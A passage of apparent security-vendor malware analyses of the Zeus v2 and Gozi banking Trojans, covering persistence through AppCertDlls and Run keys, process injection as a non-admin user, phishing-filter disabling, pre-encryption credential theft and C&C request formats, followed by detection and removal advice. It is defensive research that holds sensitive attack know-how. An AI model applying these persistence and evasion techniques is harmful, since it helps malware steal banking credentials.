Thus it becomes apparent that to overcome the hardened features of Windows Vista and Windows 7, Zeus v2 was forced to use a different approach to compromise the current user as it does not have the permission to change global settings on these operating systems.

What is very, very disturbing and worrying is that the Zeus v2 Trojan can pretty much do everything it does with or without administrator rights. You would assume that all of the hard work that Microsoft has put in to protect you would pay off. You would assume that using a user without administrator right is more secure, right? Well, it doesn’t really appear so.

Windows XP – without administrator rights

In Windows Vista and Windows 7, all users run without administrator rights and the UAC kicks in if some administrative privileges are needed. Such a concept doesn’t exist in Windows XP and therefore you are much more locked down if you run as non-administrator.

If we run the Zeus v2 Trojan under Windows XP SP3 without admin rights, we noticed the similar Windows Security Alert when the Zeus v2 Trojan tries to install the SOCKS proxy, however this time there is no option to allow it (as we don’t have admin rights).

There is no option to allow this and therefore the SOCKS proxy functionality will not be available. Funnily enough this means that Windows XP users without admin rights are better protected as Vista or Windows 7 users who run without admin rights by default!

However as noted above, this doesn’t stop the Zeus v2 Trojan itself from working and it just means that the SOCKS proxy feature is not working. Everything else works fine… So after the above dialog box is closed and the user logs in to a website with HTML injection configuration, “usual” behaviour will kick in.

The following screenshots depict a user without administrator rights on a Windows XP SP3 machine. (the red circles highlight the injected HTML). Please also note that the SSL certificate and everything else is correct)

<<SCREENSHOTS AVAILABLE IN THE IN-DEPTH REPORT>>

Code Injection

Traditional versions of Zeus would inject themselves into the winlogon.exe process and spread from there (e.g. to svchost.exe, lsass.exe, services.exe). However, since the new versions of Zeus don’t run with administrator privileges, they cannot inject any code running as a different user (especially the SYSTEM account). Therefore the new Zeus v2 Trojan injects itself into the following processes ctfmon.exe, explorer.exe, rdpclip.exe, taskeng.exe, taskhost.exe and wscntfy.exe instead.

The reason for this change in approach is pretty simple – winlogon.exe is a SYSTEM process and without administrator privileges, the Trojan would not be allowed to inject anything, so the above alternative targets were chosen as they all run as the currently logged in user.

Since all these processes run as the currently logged on user and the Windows security settings allow the Zeus Trojan to modify the memory allocated by any of these applications, Zeus is now able to hook key windows functions (see earlier chapter about hooking) and inject its own code into the process, bypassing the hardening features of Windows Vista and Windows 7.

An important fact to know is that the process that will be started through the registry key above will terminate itself after it injects itself into the other processes, meaning you won’t be able to find a process running under the name of olews.exe.

Microsoft / Firefox Phishing Filter

One interesting addition is that the Zeus v2 Trojan will disable the Phishing Filter that is enabled by default in Internet Explorer 7 and later versions. The Zeus v2 Trojan does this simply by altering the registry setting HKCUSoftwareMicrosoftInternet ExplorerPhishingFilter to set the Enable and EnableV8 names to 0.

Firefox users are slightly better off as the Zeus v2 Trojan hasn’t yet figured out how to disable the Safebrowsing features of Firefox.

Interesting observations

<< available in the in-depth report >>

TrustDefender’s Approach to Zeus v2

TrustDefender’s Forensics Engine will immediately pick up all of the new Zeus v2 infections by default, and will protect you against the threat from a frontend (user-view) AND a backend point of view. TrustDefender enables financial institutions to deal with Zeus v2 on the server side through its real-time, risk-based Enterprise Server, and the TrustDefender Agent will successfully protect the end-user at home. No longer does a financial institution have to rely on the end user to do something, but rather they can mitigate and deal with the threat from their own backend systems and feed this information into existing systems including risk-engines, adaptive authentication suites and transaction monitoring tools etc.

How to detect that a system is compromised

Since the new variant of Zeus doesn’t use complex rootkit techniques, detection is relatively easy. Simply start the registry editor (regedit.exe) and check for an entry in the Run section of HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun.

The things to look out for are:

  • Name looks like a GUID (such as {26014332-876A-668A-546A-2A9930E39482})
  • Value is a filename in %USERDIR%Application Data<RANDOM DIR><RANDOM FILE>    (such as “C:Documents and SettingssupportApplication DataKyniinyqypy.exe”)

How to remove Zeus v2

Removal of the Zeus v2 Trojan is also much easier since no complex rootkit techniques are used.

Simply locate the file that is being run from the above registry entry and delete the registry entry and the file. After a restart, your computer is clean. :-)

[1] http://www.zdnet.com.au/microsoft-ie-use-falls-below-60-339302834.htm

[2] It wasn’t straightforward to provide a screenshot as the configuration of the Zeus Trojan would only inject HTML into the browser after a successful login.

Malware

Gozi – a perfect example of an “older” trojan re-inventing itself

1 Comment

Executive Summary

Gozi is a well known Trojan that has been around for a number of years now. However, we have recently encountered a new wave of Gozi variants and feel that this is a great opportunity to look at this sophisticated Trojan and how it has evolved over the last few years.

Gozi has always been associated with a Russian heritage and was once part of the notorious, russion cyber crime operations. The last significant wave of Gozi Trojans was back in 2007/2008 and at that time Gozi’s feature list was more than impressive. According to SecureWorks who did an in-depth analysis of the Trojan at that time, Gozi’s features included:

  • Advanced Winsock2 functionality employed to steal SSL data
  • State-of-the-art, modularized Trojan code
  • Ability to spread through IE browser exploits
  • Customized server/database code to collect sensitive data
  • Customer interface for on-line purchases of stolen data
  • Accounts compromised by stealing data primarily from infected home PCs
  • Victims included accounts of top financial, retail, health care, and government services
  • Data’s black market value of at least US$2 million
  • Ability to remain undetected for weeks or months by many AV vendors

As you can see, one of the most impressive features was the way Gozi was able to hide on a system and stay undetected for a long period of time, ultimately allowing it to carry out its nasty work undisturbed.

In this in-depth report, we will look at the new variant of Gozi, and how it has improved Gozi’s renowned stealth behaviour even further. We also look at how Gozi will does its dirty work and present details of the inner workings of this malware. As always, the report will also contain instructions relating to the detection and removal of this nasty threat.

Installation

We analysed a number of Gozi samples and all of them were delivered as drive-by-infections, either via malicious PDF documents or via exploit kits (such as Justexploit).

Malicious PDF document

We witnessed a number of Gozi Trojans distributed via malicious PDF versions. We specifically looked at a PDF with MD5 b72163b1d5fbc0f2e88e984bf0ac601e, which exploits a buffer overflow in Adobe Acrobat Reader (CVE-2007-5659). The only goal of the malicious PDF is to download the “real” Gozi sample called update.exe with MD5 cd4d37ea17007cbdfa0d9cc96b5fc1dc.

This sample has successfully evaded detection by all Antivirus Engines with a VirusTotal detection of 0% on Jan 25, 2010! This only attests to the sheer ability of Gozi to conceal itself.

This Trojan seems to achieve one of the worst detection rates we have encountered, which is quite extraordinary considering that Gozi itself has been around for such a long period of time. Even within 10 days the detection rate of Gozi was still only 65% which is interesting as all participating Antivirus Engines receive the samples that they won’t detect.

Justexploit kit

The samples we analysed from drive-by-infection kits had a slightly better VirusTotal antivirus rating with 27% (11/41) detection on Jan 28, 2010 (http://www.virustotal.com/de/analisis/17fcef4a88cfc950a62d2c79e1670cc9b9d742cd4ea3310e0df337fef7451ed8-1264637346)

Please note that Justexploit, a common feature of today’s exploit kits, uses geographic distribution. This means the bad guys will only infect people they want to infect (targeted regions). In this particular case we could confirm that the installation process was fine in Australia, UK, Germany and the US.

Execution

After the sample is executed, Gozi installs itself in the system in a very sophisticated way that fools most traditional security solutions and additionally deletes the installer file from the hard drive.

The Gozi Trojan consists of a DLL that is injected into every single process. Gozi employs a pretty unknown procedure of registering the DLL within the AppCertDlls subkey of HKLMSystemCurrentControlSetControlSessionManager key of the registry. By doing this, Gozi is notified and automatically loaded into every single process that is started on the computer from the windows kernel (kernel32.dll).

This method is a very innovative approach and by utilising such a highly unknown feature, many security solutions that check automatically started programs (e.g. through the Run registry) will miss this infection.

The associated filenames seem to be semi-random and in our case we saw krnlbkup.dll and lnksinfo.dll. Both files reside in the system32 folder of the windows directory (c:windowssystem32).

File System Stealth

See in-depth report

Registry changes

See indepth report

Process hooks

See indepth report

The C&C communication

See indepth report

Gozi C&C server

See indepth report

Gozi configuration file

See indepth report

Functionality of Gozi

Keylogging / Network sniffing

One of the main functionalities of Gozi is to steal any data that is transmitted over the internet. Gozi will not employ keylogging techniques to do so, but rather look at any POST request that are sent to the internet from the computer and will send the interesting content to the Gozi C&C server.

As Gozi is running as part of the Internet Explorer process, it has full control of the data BEFORE it is encrypted and therefore Gozi can get access even to the SSL encrypted data. Naturally this included websites with EV-SSL certificates as well.

The following example shows the Gozi traffic for a login attempt with Bank of America. Firstly we see the use of EV-SSL in the browser, as depicted below:



After the Online ID is entered by a user and the “Sign In” button is clicked, the following internet reqest can be seen sending to the Gozi C&C server:

Please note that we used a fake online ID 123123123 and chose NV as the State, as captured by Gozi in the above snapshot.

The next step of Bank of America’s two-step login procedure will then allow Gozi to intercept the password, as can be seen in the following request capture:

As you can see, we used mypassword as a password and this too was captured by Gozi.

SOCKS Proxy

Gozi has the ability to install a SOCKS proxy on the machine. On both installations, this did not happen and no backdoor was installed. (The HTTP C&C parameter socks was equal 0). If a SOCKS proxy is installed, the C&C server is notified by the listening port of the SOCKS proxy in the socks HTTP parameter.

A SOCKS proxy enables an attacker to relay any internet traffic through a victim’s machine and therefore evade geographic or public IP risk mitigation strategies.

Real-time functionality / HTML injection

Gozi has learned from the past and has adapted to some authentication improvements by financial institutions in the past. It does not only have the ability to statically send keystrokes or POST credentials to the C&C server; it can also alter the HTML of the current page.

Gozi accomplishes this by using the configuration file and either statically inject the HTML from the configuration file or dynamically downloading HTML chunks to accommodate whatever it needs to do. Gozi will firstly identify the financial institution using its URL and will then make a request to its C&C server in real-time for additional instructions.

As the analysed Gozi sample has only Swiss banks in the configuration, let’s look at a login attempt to Credit Suisse:

When the user is clicking on Login, the following internet traffic can be seen:

The Gozi Trojan will make a request to the C&C server with the following format:

  • GET /1.pl?<BANKID>&<id>, where
    • <BANKID> represents different targets based on the configuration file. Four different targets have been confirmed in this analysis, however this can easily change as part of the configuration file
  • depending on the <id> parameter, different HTML chunks will be delivered.

After the 1.pl request is completed, Gozi will send “as normal” the login credentials to the C&C server

Upon first analysis, Gozi will do this for all financial institutions that have some kind of challenge/response or use some additional authentication mechanism (such as banks with the RSA token)

For all C&C communications where the URL matched a financial institution from the configuration file, the response from the Gozi C&C is always “/home/system/data/base_cur/fastlogs/ok!”

It even includes compromised account details

See indepth report

History and Improvements of Gozi over time

Based on the previous research of SecureWorks relating to the older samples of Gozi, (http://www.secureworks.com/research/threats/gozi/), we can see great improvements of this threat over time.

In 2007 and 2008, all Gozi samples we found were executables that were running as a proper process on the system (such as x_ymvb.exe or xrt_ohcq.exe in the %UserProfile% directory). They were loaded for every Windows startup through inclusion into the HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun registry key.

This had some obvious disadvantages, namely that the Gozi process was clearly visible to traditional security scanners. As such, Gozi had to work very hard to get access to the internet traffic produced by the web browser. This was summarised in the below SecureWorks analysis:

The code reveals that calls to functions in ws2_32.dll are used to establish itself as an LSP (layered service provider) using the Winsock2 SPI (Service Provider Interface). It “goes in between” Internet Explorer and the socket used to send the data. This is consistent with reading/enumeration of registry keys having to do with network interfaces, zones, and namespace providers. This is the mechanism used to bypass SSL/TLS and intercept the network data on the fly, before it is encrypted.

This new version of Gozi does not run as its own process, but rather as a DLL that is injected into the web browser process. Furthermore it is uses a highly unknown way of making sure it gets injected into every process as a means of ensuring increased effectiveness.

This also removed the need for a LSP interface at all as LSP is known to be very unstable.

These improvements were clearly made to allow Gozi to stay hidden in stealth like mode on the system and to ensure Gozi is not easily detected by traditional security scanners.

How to detect Gozi

Manually

The best way to detect the presence of the Gozi Trojan is to look in the registry for the presence of the Gozi values. They are all consistently present here:

  • Gozi DLL
    • HKLMSystemCurrentControlSetControlSessionManagerAppCertDlls
      • (where you’ll find a reference to the Gozi DLL)
  • Gozi configuration
    • HKCUSoftwareAppDataLow{GUID}
      • (where {GUID} is a globally unique identifier)

TrustDefender

Of course, TrustDefender will detect Gozi straight out of the box as it will see the Gozi DLL being injected into the Web browser process.

How to remove Gozi

As Gozi consists only of the one DLL, one can remove Gozi from the system by removing all related registry entries presented in this report. However, since the Gozi DLL is well hidden, it is not really straightforward to delete the Gozi DLL entries.

First, you have to identify the name of the Gozi DLL (e.g. lnksinfo.dll in our case) and then use a utility such as MoveFile from Sysinternals (http://technet.microsoft.com/en-us/sysinternals/bb897556.aspx) or directly poking the entry with the PendingFileRenameOperations registry key.

After a reboot, the file would have disappeared (you can check with the auto-complete tab trick) and you can verify that the Gozi registry entries are all gone, making your system safe again.

Further Information

Further information can be obtained from the team at TrustDefender Labs by emailing us at labs@trustdefender.com.